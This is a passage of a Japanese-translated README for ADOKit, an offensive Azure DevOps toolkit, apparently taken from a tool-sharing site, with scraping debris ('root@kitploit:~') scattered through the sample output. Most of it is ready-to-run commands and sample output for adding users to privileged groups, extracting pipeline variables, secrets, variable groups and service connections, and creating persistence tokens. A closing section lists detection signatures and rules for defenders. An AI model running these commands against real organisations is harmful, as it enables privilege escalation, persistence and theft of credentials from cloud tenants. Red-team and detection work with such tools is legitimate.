`ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### 出力例```
C:\>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         addcollectionsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 11:21:01 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.

[+] SUCCESS: User successfully added

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
         [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith
         [YourOrganization]\Project Collection Service Accounts |             [email protected] |                                             User 1

4/5/23 15:21:04 Finished execution of addcollectionsvc

Remove Collection Service Account

使用事例

ユーザーを Project Collection Service Accounts グループから削除します。

構文

removecollectionsvc モジュールに /user: を指定して、特定のユーザーを Project Collection Service Accounts グループから削除します。さらに、関連する認証情報とURLを併せて指定してください。この操作に必要な権限については、モジュール詳細テーブルを参照してください。

ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

出力例```

C:>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: removecollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 11:21:43 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.

[+] SUCCESS: User successfully removed

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
     [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith

4/5/23 15:21:44 Finished execution of removecollectionsvc

root@kitploit:~
### Get Pipeline Variables

#### Use Case

> *プロジェクトで使用されているパイプライン変数を抽出します。これらには資格情報やその他の有用な情報が含まれている可能性があります。*

#### Syntax

`getpipelinevars` モジュールと `/project:` を指定して、特定のプロジェクトで使用されているパイプライン変数を抽出します。すべてのプロジェクトからパイプライン変数を抽出するには、`/project:` 引数に `all` を指定します。

`ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`

#### Example Output```
C:\>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getpipelinevars
Auth Type:      Cookie
Project:        maraudersmap
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/6/2023 12:08:35 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

             Pipeline Var Name |                                 Pipeline Var Value
-----------------------------------------------------------------------------------
                    credential |                                       P@ssw0rd123!
                           url |                                       http://blah/

4/6/23 16:08:36 Finished execution of getpipelinevars

パイプラインシークレットの取得

ユースケース

プロジェクトで使用されているパイプラインシークレットの名前を抽出します。これにより、オペレーターは秘密情報の抽出を試みる場所を特定できます。

構文

getpipelinesecrets モジュールに /project: を指定して、指定されたプロジェクトで使用されているパイプラインシークレットの名前を抽出します。全プロジェクトからパイプラインシークレットの名前を抽出する場合は、/project: 引数に all を指定します。

ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

出力例```

C:>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

================================================== Module: getpipelinesecrets Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/10/2023 10:28:37 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
         Build Secret Name |   Build Secret Value

root@kitploit:~
         anotherSecretPass |             [HIDDEN]
                secretpass |             [HIDDEN]

4/10/23 14:28:38 Finished execution of getpipelinesecrets

root@kitploit:~
### 変数グループを取得

#### ユースケース

> *プロジェクトで使用されている任意の変数グループと対応する変数を抽出します。これらには資格情報やその他の有用な情報が含まれている可能性があります。*

#### 構文

指定されたプロジェクトから使用されている変数グループを抽出するには、`getvariablegroups` モジュールと `/project:` を指定します。すべてのプロジェクトから変数グループを抽出する場合は、`/project:` 引数に `all` を指定します。

`ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`

#### 出力例```
C:\>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"

==================================================
Module:         getvariablegroups
Auth Type:      Cookie
Project:        ADOKit
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      16/05/2024 16:53:31
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

           Variable Group Name |                  Variable Name |                                     Variable Value
--------------------------------------------------------------------------------------------------------------------
           real-test-variables |                  test_password |                                      BurpIsNotBeef
           real-test-variables |                      test_user |                                            nicolas
           fake-prod-variables |                    SUPERSECRET |                                           [HIDDEN]
           fake-prod-variables |                 SUPERNOTSECRET |                             ThisShouldBeSecured :/

サービス接続の取得

ユースケース

プロジェクトで使用されているサービス接続を一覧表示します。これにより、オペレーターは使用中のサービス接続に対して資格情報の抽出を試行する場所を把握できます。

構文

指定されたプロジェクトに対してgetserviceconnectionsモジュールと/project:を指定して使用することで、使用中のサービス接続を一覧表示します。すべてのプロジェクトからサービス接続を一覧表示する場合は、/project:引数にallを指定します。

ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

出力例```

C:>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

================================================== Module: getserviceconnections Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/11/2023 8:34:16 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                         Connection Name |      Connection Type |                                                           ID

root@kitploit:~
                                    Test Connection Name |              generic |                         195d960c-742b-4a22-a1f2-abd2c8c9b228
                                     Not Real Connection |              generic |                         cd74557e-2797-498f-9a13-6df692c22cac

Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | 5665ed5f-3575-4703-a94d-00681fdffb04 Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | df8c023b-b5ad-4925-a53d-bb29f032c382

4/11/23 12:34:16 Finished execution of getserviceconnections

root@kitploit:~
## 検出

以下は、このツールをデフォルト状態で使用する場合の静的シグネチャです。

* プロジェクト GUID - `{60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}`
  * このリポジトリ内の [ADOKit Yara ルール](https://github.com/h4wkst3r/adokit/blob/HEAD/Detections/ADOKit.yar) を参照。
* ユーザーエージェント文字列 - `ADOKit-21e233d4334f9703d1a3a42b6e2efd38`
  * このリポジトリ内の [ADOKit Snort ルール](https://github.com/h4wkst3r/adokit/blob/HEAD/Detections/ADOKit.rules) を参照。
* [Microsoft Sentinel ルール](https://github.com/h4wkst3r/adokit/blob/HEAD/Detections/Sentinel-Rules)
  * `ADOKitUsage.json` - 監査可能なイベント(例:ユーザーをグループに追加)を使用した ADOKit の使用を検出します。
  * `PersistenceTechniqueWithADOKit.json` - ADOKit を使用した PAT または SSH キーの作成を検出します。

このツールで使用される手法の検出ガイダンスについては、X-Force Red の [ホワイトペーパー](https://www.ibm.com/downloads/cas/5JKAPVYD) を参照してください。

## ロードマップ

* Azure DevOps Server のサポート


## 参考文献
* `https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1`
* `https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops`
ツールをダウンロード
  • プロジェクト管理者削除
  • ビルド管理者追加
  • ビルド管理者削除
  • コレクション管理者追加
  • コレクション管理者削除
  • コレクションビルド管理者追加
  • コレクションビルド管理者削除
  • コレクションビルドサービスアカウント追加
  • コレクションビルドサービスアカウント削除
  • コレクションサービスアカウント追加
  • コレクションサービスアカウント削除
  • パイプライン変数取得
  • パイプラインシークレット取得
  • 変数グループ取得
  • サービス接続取得
  • 権限昇格
    • addprojectadmin - 指定されたプロジェクトの「プロジェクト管理者」グループにユーザーを追加します。
    • removeprojectadmin - 指定されたプロジェクトの「プロジェクト管理者」グループからユーザーを削除します。
    • addbuildadmin - 指定されたプロジェクトの「ビルド管理者」グループにユーザーを追加します。
    • removebuildadmin - 指定されたプロジェクトの「ビルド管理者」グループからユーザーを削除します。
    • addcollectionadmin - 「プロジェクトコレクション管理者」グループにユーザーを追加します。
    • removecollectionadmin - 「プロジェクトコレクション管理者」グループからユーザーを削除します。
    • addcollectionbuildadmin - 「プロジェクトコレクションビルド管理者」グループにユーザーを追加します。
    • removecollectionbuildadmin - 「プロジェクトコレクションビルド管理者」グループからユーザーを削除します。
    • addcollectionbuildsvc - 「プロジェクトコレクションビルドサービスアカウント」グループにユーザーを追加します。
    • removecollectionbuildsvc - 「プロジェクトコレクションビルドサービスアカウント」グループからユーザーを削除します。
    • addcollectionsvc - 「プロジェクトコレクションサービスアカウント」グループにユーザーを追加します。
    • removecollectionsvc - 「プロジェクトコレクションサービスアカウント」グループからユーザーを削除します。
    • getpipelinevars - 指定されたプロジェクトで使用されているすべてのパイプライン変数を取得します。
    • getpipelinesecrets - 指定されたプロジェクトで使用されているすべてのパイプラインシークレットの名前を取得します。
    • getvariablegroups - 指定されたプロジェクトで使用されている変数グループと対応する変数を取得します。
    • getserviceconnections - 指定されたプロジェクトで使用されているサービス接続を取得します。
  • 攻撃シナリオモジュール特別な権限が必要か?備考
    偵察checkいいえ
    偵察whoamiいいえ
    偵察listorgsいいえ
    偵察listrepoいいえ
    偵察searchrepoいいえ
    偵察listprojectいいえ
    偵察searchprojectいいえ
    偵察searchcodeいいえ
    偵察searchfileいいえ
    偵察listuserいいえ
    偵察searchuserいいえ
    偵察listteamいいえ
    偵察searchteamいいえ
    偵察getteammembersいいえ
    偵察listgroupいいえ
    偵察searchgroupいいえ
    偵察getgroupmembersいいえ
    偵察getpermissionsいいえ
    偵察credsいいえ
    偵察getbuildlogsはい - Contributors または Readers または Build Administrators または Project Administrators または Project Team Member または Project Collection Test Service Accounts または Project Collection Build Service Accounts または Project Collection Build Administrators または Project Collection Service Accounts または Project Collection Administrators
    偵察listbuildlogsはい - Contributors または Readers または Build Administrators または Project Administrators または Project Team Member または Project Collection Test Service Accounts または Project Collection Build Service Accounts または Project Collection Build Administrators または Project Collection Service Accounts または Project Collection Administrators
    偵察searchbuildlogsはい - Contributors または Readers または Build Administrators または Project Administrators または Project Team Member または Project Collection Test Service Accounts または Project Collection Build Service Accounts または Project Collection Build Administrators または Project Collection Service Accounts または Project Collection Administrators
    永続化createpatいいえ
    永続化listpatいいえ
    永続化removepatいいえ
    永続化createsshkeyいいえ
    永続化listsshkeyいいえ
    永続化removesshkeyいいえ
    権限昇格addprojectadminはい - Project Administrator、Project Collection Administrator または Project Collection Service Accounts
    権限昇格removeprojectadminはい - Project Administrator、Project Collection Administrator または Project Collection Service Accounts
    権限昇格addbuildadminはい - Project Administrator、Project Collection Administrator または Project Collection Service Accounts
    権限昇格removebuildadminはい - Project Administrator、Project Collection Administrator または Project Collection Service Accounts
    権限昇格addcollectionadminはい - Project Collection Administrator または Project Collection Service Accounts
    権限昇格removecollectionadminはい - Project Collection Administrator または Project Collection Service Accounts
    権限昇格addcollectionbuildadminはい - Project Collection Administrator または Project Collection Service Accounts
    権限昇格removecollectionbuildadminはい - Project Collection Administrator または Project Collection Service Accounts
    権限昇格addcollectionbuildsvcはい - Project Collection Administrator、Project Colection Build Administrators または Project Collection Service Accounts
    権限昇格removecollectionbuildsvcはい - Project Collection Administrator、Project Colection Build Administrators または Project Collection Service Accounts
    権限昇格addcollectionsvcはい - Project Collection Administrator または Project Collection Service Accounts
    権限昇格removecollectionsvcはい - Project Collection Administrator または Project Collection Service Accounts
    権限昇格getpipelinevarsはい - Contributors または Readers または Build Administrators または Project Administrators または Project Team Member または Project Collection Test Service Accounts または Project Collection Build Service Accounts または Project Collection Build Administrators または Project Collection Service Accounts または Project Collection Administrators
    権限昇格getpipelinesecretsはい - Contributors または Readers または Build Administrators または Project Administrators または Project Team Member または Project Collection Test Service Accounts または Project Collection Build Service Accounts または Project Collection Build Administrators または Project Collection Service Accounts または Project Collection Administrators
    権限昇格getvariablegroupsはい - Contributors または Readers または Build Administrators または Project Administrators または Project Team Member または Project Collection Test Service Accounts または Project Collection Build Service Accounts または Project Collection Build Administrators または Project Collection Service Accounts または Project Collection Administrators
    権限昇格getserviceconnectionsはい - Project Administrator、Project Collection Administrator または Project Collection Service Accounts